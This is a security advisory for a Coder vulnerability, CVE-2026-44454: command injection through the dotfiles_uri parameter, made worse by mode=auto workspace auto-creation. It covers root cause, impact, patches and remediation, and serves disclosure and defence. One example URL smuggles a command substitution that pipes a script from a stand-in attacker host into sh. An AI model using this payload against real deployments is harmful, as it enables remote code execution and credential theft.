---
id: CVE-2026-44454
title: >-
  Coder vulnerable to workspace auto-creation via crafted URL parameters without
  user consent
summary: >-
  Coder vulnerable to workspace auto-creation via crafted URL parameters without
  user consent
severity: high
cvss: 8.1
cwe:
  - CWE-78
vendor: coder
product: github.com/coder/coder/v2
ecosystem: go
affected:
  - github.com/coder/coder/v2 < 2.29.7
  - 'github.com/coder/coder/v2 >= 2.30.0, < 2.30.2'
  - github.com/coder/coder <= 0.27.3
patched:
  - github.com/coder/coder/v2 2.29.7
  - github.com/coder/coder/v2 2.30.2
published: '2026-07-02'
updated: '2026-07-02'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-m3cr-vc2j-pm27'
references:
  - url: 'https://github.com/coder/coder/security/advisories/GHSA-m3cr-vc2j-pm27'
  - url: 'https://github.com/coder/coder/pull/22011'
  - url: 'https://github.com/coder/registry/pull/703'
  - url: >-
      https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb
  - url: >-
      https://github.com/coder/registry/commit/8e68c96633f65a1babd76a93b6923e3deead4a82
  - url: 'https://github.com/coder/coder/releases/tag/v2.29.7'
  - url: 'https://github.com/coder/coder/releases/tag/v2.30.2'
  - url: 'https://github.com/advisories/GHSA-m3cr-vc2j-pm27'
tags:
  - ghsa
  - go
ingestedAt: '2026-07-02T18:41:45.699Z'
epss: 0.02642
epssPercentile: 0.8497
---

## Overview

# Command injection via dotfiles URI parameter combined with workspace auto-creation

## Summary

The `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted `dotfiles_uri` value (for example, one containing shell command substitution such as `$(...)`) could achieve command execution in their own workspace. The Create Workspace page's `mode=auto` deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled `param.dotfiles_uri` and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.

## Details

### Command injection in the dotfiles module (root cause)

The [dotfiles module](https://github.com/coder/registry/tree/main/registry/coder/modules/dotfiles) interpolated the user-provided `dotfiles_uri` value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution (`$(...)`), command separators (`;`, `|`, `&&`), or backticks were interpreted before the `coder dotfiles` CLI was invoked. The Coder CLI itself uses `exec.CommandContext()` with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted `dotfiles_uri` obtained arbitrary code execution in their workspace, even without `mode=auto`.

### Auto-creation amplification (`mode=auto`)

The Create Workspace page supported a `mode=auto` query parameter that, combined with `param.*` URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, `param.dotfiles_uri`). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.

Example URL:

```
https://<deployment>/templates/<template>/workspace?mode=auto&param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com
```

## Impact

Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With `mode=auto`, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.

## Patches

### coder/registry (primary fix)

Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe `eval`/`sh -c` usage was removed. This eliminates the command injection at its source.

- https://github.com/coder/registry/pull/703

### coder/coder (defense-in-depth)

A consent dialog was added that displays all prefilled `param.*` values and blocks creation until the user explicitly clicks **Confirm and Create**. This removes the `mode=auto` one-click amplification vector.

- Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR [#22011](https://github.com/coder/coder/pull/22011))
- Patched releases:
  - [v2.29.7](https://github.com/coder/coder/releases/tag/v2.29.7) (ESR)
  - [v2.30.2](https://github.com/coder/coder/releases/tag/v2.30.2) (mainline)

### Recognition
We'd like to thank [Aviv Donenfeld](https://github.com/avivdon) for responsibly disclosing this issue in accordance with https://coder.com/security/policy

## Affected packages

- `github.com/coder/coder/v2 < 2.29.7`
- `github.com/coder/coder/v2 >= 2.30.0, < 2.30.2`
- `github.com/coder/coder <= 0.27.3`

## Remediation

Upgrade to a patched release:

- `github.com/coder/coder/v2 2.29.7`
- `github.com/coder/coder/v2 2.30.2`